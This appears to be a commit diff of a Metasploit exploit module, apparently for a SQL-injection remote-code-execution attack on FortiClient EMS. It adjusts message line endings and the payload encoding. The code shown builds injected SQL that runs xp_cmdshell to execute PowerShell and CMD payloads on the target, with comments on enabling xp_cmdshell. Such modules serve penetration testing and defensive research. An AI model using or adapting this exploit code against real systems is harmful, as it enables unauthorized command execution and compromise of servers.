@@ -203,13 +203,13 @@ def get_version
203
203
204
204
def get_message ( sqli )
205
205
message = "MSG_HEADER: FCTUID={SQLI_PLACEHOLDER}\n "
206
- message << "SIZE= {SIZE_PLACEHOLDER}\n \r "
206
+ message << "SIZE= {SIZE_PLACEHOLDER}\r \n "
207
207
message << "\n "
208
208
# For 7.0 versions the register info gets placed after two pipe operators, for 7.2 it gets placed in between.
209
209
if @version >= Rex ::Version . new ( '7.2' )
210
210
message << "X-FCCK-REGISTER:SYSINFO|#{ get_register_info } |\r \n "
211
211
else
212
- message << "X-FCCK-REGISTER: SYSINFO||#{ get_register_info } \n "
212
+ message << "X-FCCK-REGISTER:SYSINFO||#{ get_register_info } \r \n "
213
213
end
214
214
message << "\n "
215
215
message << 'X-FCCK-REGISTER-END'
@@ -249,10 +249,6 @@ def check
249
249
CheckCode ::Safe ( "Version detected: #{ @version } " )
250
250
end
251
251
252
- def fully_url_encode ( string )
253
- string . chars . map { |char | '%' + char . ord . to_s ( 16 ) . upcase } . join
254
- end
255
-
256
252
def exploit
257
253
# Things to note:
258
254
# 1. xp_cmdshell is disabled by default so we must enable it.
@@ -265,7 +261,7 @@ def exploit
265
261
@version ||= get_version
266
262
267
263
if @version >= Rex ::Version . new ( '7.2' )
268
- pload = "EXEC xp_cmdshell 'POWERSHELL.EXE -COMMAND \" \" Add-Type -AssemblyName System.Web; CMD.EXE /C ([SYSTEM.WEB.HTTPUTILITY]::URLDECODE(\" \" \" #{ fully_url_encode ( payload . encoded ) } \" \" \" ))\" \" '"
264
+ pload = "EXEC xp_cmdshell 'POWERSHELL.EXE -COMMAND \" \" Add-Type -AssemblyName System.Web; CMD.EXE /C ([SYSTEM.WEB.HTTPUTILITY]::URLDECODE(\" \" \" #{ Rex :: Text . uri_encode ( payload . encoded , 'hex-all' ) } \" \" \" ))\" \" '"
269
265
else
270
266
pload = "DECLARE @SQL VARCHAR(#{ payload . encoded . length } ) = CONVERT(VARCHAR(MAX), 0X#{ payload . encoded . unpack ( 'H*' ) . first } ); exec xp_cmdshell @sql"
271
267
end
0 commit comments